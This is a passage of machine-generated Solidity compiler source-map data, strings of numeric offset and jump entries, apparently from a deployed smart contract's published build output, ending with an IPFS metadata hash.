;;;;;:32;11245:15:::1;::::0;11213:62:::1;::::0;11230:4:::1;::::0;11245:15:::1;11263:11:::0;11213:8:::1;:62::i;:::-;11286:15;::::0;:196:::1;::::0;-1:-1:-1;;;11286:196:0;;-1:-1:-1;;;;;11286:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11367:11;;11286:15:::1;::::0;11409:4;;11436::::1;::::0;11456:15:::1;::::0;11286:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11002:488;6023:1;-1:-1:-1::0;6035:6:0;:14;;-1:-1:-1;;;;6035:14:0;;;10935:555::o;12942:104::-;12999:22;;:39;;:22;;;;-1:-1:-1;;;;;12999:22:0;;:39;;;;;;;;;;;;:22;:39;;;;;;;;;;;;;;;;;;;;;12942:104;:::o;1866:179::-;1924:7;;1956:5;1960:1;1956;:5;:::i;:::-;1944:17;;1985:1;1980;:6;;1972:46;;;;-1:-1:-1;;;1972:46:0;;13724:2:1;1972:46:0;;;13706:21:1;13763:2;13743:18;;;13736:30;13802:29;13782:18;;;13775:57;13849:18;;1972:46:0;13522:351:1;11604:211:0;11704:22;;11674:7;;-1:-1:-1;;;;;11704:22:0;;;;;;11696:30;;;;11693:115;;-1:-1:-1;11749:1:0;11742:8;;11693:115;11788:8;:1;11794;11788:5;:8::i;:::-;11781:15;;;;2053:136;2111:7;2138:43;2142:1;2145;2138:43;;;;;;;;;;;;;;;;;:3;:43::i;2789:189::-;2875:7;2910:12;2903:5;2895:28;;;;-1:-1:-1;;;2895:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2934:9:0;2946:5;2950:1;2946;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:125::-;4653:9;;;4674:10;;;4671:36;;;4687:18;;:::i;4718:356::-;4920:2;4902:21;;;4939:18;;;4932:30;4998:34;4993:2;4978:18;;4971:62;5065:2;5050:18;;4718:356::o;5837:251::-;5907:6;5960:2;5948:9;5939:7;5935:23;5931:32;5928:52;;;5976:1;5973;5966:12;5928:52;6008:9;6002:16;6027:31;6052:5;6027:31;:::i;7014:306::-;7102:6;7110;7118;7171:2;7159:9;7150:7;7146:23;7142:32;7139:52;;;7187:1;7184;7177:12;7139:52;7216:9;7210:16;7200:26;;7266:2;7255:9;7251:18;7245:25;7235:35;;7310:2;7299:9;7295:18;7289:25;7279:35;;7014:306;;;;;:::o;7604:277::-;7671:6;7724:2;7712:9;7703:7;7699:23;7695:32;7692:52;;;7740:1;7737;7730:12;7692:52;7772:9;7766:16;7825:5;7818:13;7811:21;7804:5;7801:32;7791:60;;7847:1;7844;7837:12;11028:135;11067:3;11088:17;;;11085:43;;11108:18;;:::i;:::-;-1:-1:-1;11155:1:1;11144:13;;11028:135::o;11516:128::-;11583:9;;;11604:11;;;11601:37;;;11618:18;;:::i;11649:217::-;11689:1;11715;11705:132;;11759:10;11754:3;11750:20;11747:1;11740:31;11794:4;11791:1;11784:15;11822:4;11819:1;11812:15;11705:132;-1:-1:-1;11851:9:1;;11649:217::o;12405:127::-;12466:10;12461:3;12457:20;12454:1;12447:31;12497:4;12494:1;12487:15;12521:4;12518:1;12511:15;12537:980;12799:4;12847:3;12836:9;12832:19;12878:6;12867:9;12860:25;12904:2;12942:6;12937:2;12926:9;12922:18;12915:34;12985:3;12980:2;12969:9;12965:18;12958:31;13009:6;13044;13038:13;13075:6;13067;13060:22;13113:3;13102:9;13098:19;13091:26;;13152:2;13144:6;13140:15;13126:29;;13173:1;13183:195;13197:6;13194:1;13191:13;13183:195;;;13262:13;;-1:-1:-1;;;;;13258:39:1;13246:52;;13353:15;;;;13318:12;;;;13294:1;13212:9;13183:195;;;-1:-1:-1;;;;;;;13434:32:1;;;;13429:2;13414:18;;13407:60;-1:-1:-1;;;13498:3:1;13483:19;13476:35;13395:3;12537:980;-1:-1:-1;;;12537:980:1:o

ipfs://094fbad3ebceb4be4d66326c64165adc2f83e12dda8cd37fadf6f278b436c5e3